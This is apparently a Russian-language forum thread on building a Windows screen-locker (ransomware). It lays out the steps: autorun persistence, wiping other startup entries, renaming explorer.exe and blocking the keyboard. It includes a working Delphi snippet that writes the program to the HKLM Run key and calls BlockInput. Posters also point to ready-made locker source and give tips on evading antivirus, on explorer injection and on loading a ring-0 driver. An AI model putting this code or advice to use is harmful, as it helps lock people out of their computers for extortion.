А что тут такого сложного в реализации локера? Действия: При первом старте локера: 1. Добавление в автозагрузку своего локера 2. Удаление всех программ из автозагрузки 3. Переиминование explorer.exe После последующих стартов (т.е. когда должно выводится окно локера при старте системы): 1. Блочим клавиатуру 2. Выводим окошко локера
а все локеры по-дефолту гавно. Ковыряя их от нефиг делать я видел всего один, который свой старт писал хотя бы в планировщик заданий, а не во всем известные места, но и тот себя инжектил в эксплорер созданием удаленного треда с загрузкой в нем же библиотеки, что также адовое паливо. А вообще не так то и просто обойти параноидально настроенную проактивку файрвола, да. А вообщем, 99% создателей локеров-школьники, причем даже не воинствующие. Все смотрят на них как на гавно(ну то есть так же как смотрятся их творения) и дружно им сочувствуют. Для ТС: мой вам скромный совет-не пишите очередное безблагодатное гавно(а раз вы спрашиваете еще и пример написания оного, то, есть мнение, что ничего лучшего у вас и не получится), а займитесь чем-нибудь полезным.
Самые нормальный, читабелный, закомментированый на русском это винлокер от d_x, поищи на блоге kaimi: kaimi.ru
ну вот с чего вы всё это взяли? Винлокер можно написать довольно просто. И даже антивири орать не будут особо. конечно некоторые особо угукнутые возмутяться но это не страшно и можно легко обойти. Главное всё делать в 2 ступени а не в одну как любят все
Code: end; var Form1: TForm1; procedure BlockInput(ABlockInput: boolean); stdcall; external 'USER32.DLL'; implementation procedure ChangeReg(StrName: ShortString; delete: boolean); var reg: TRegistry; begin Reg := nil; try reg := TRegistry.Create; reg.RootKey := HKEY_LOCAL_MACHINE; reg.LazyWrite := false; reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false); if not delete then reg.WriteString(StrName, Application.ExeName) else reg.DeleteValue(StrName); reg.CloseKey; reg.free; except if Assigned(Reg) then Reg.Free; end; end; {$R *.dfm} procedure TForm1.FormActivate(Sender: TObject); begin BlockInput(True); end; procedure TForm1.AddBtnClick(Sender: TObject); begin ChangeReg('My App',false); //добавляем в Автозагрузку end; Я вот так делал.. работало.
Эм, ну не думаю что можно где-то найти в паблике винлокер со своим драйвером для перехода в ринг0 путем выгрузки другого драйвера и запуск _своего_ драйвера с именем выгруженного =) Исходники можно посмотреть только если посмотреть по каким принципам работает, куда в реестре прописывается, как блокирует все кроме самого себя и т.д., а все остальное самопис с наработками до такого вида, как я описал выше =) P.S.: Не считаю я что такое надо на Дельфи писать. Не раздувайте холиваров, это просто мое мнение =) Либо чистый АСМ, либо С++ с АСМ вставками...
Ну вообще, способы лучше существуют, много про них я слышал от Грейта, Кез помоему тоже рассказывал, я там даже многое не вдупляю)). На делфи можно писать, но если без VCL, WinAPi. Вон slesh на дельфах чудеса творит, используя WinApi. А так по сути есстественно С++ для таких дел самое то.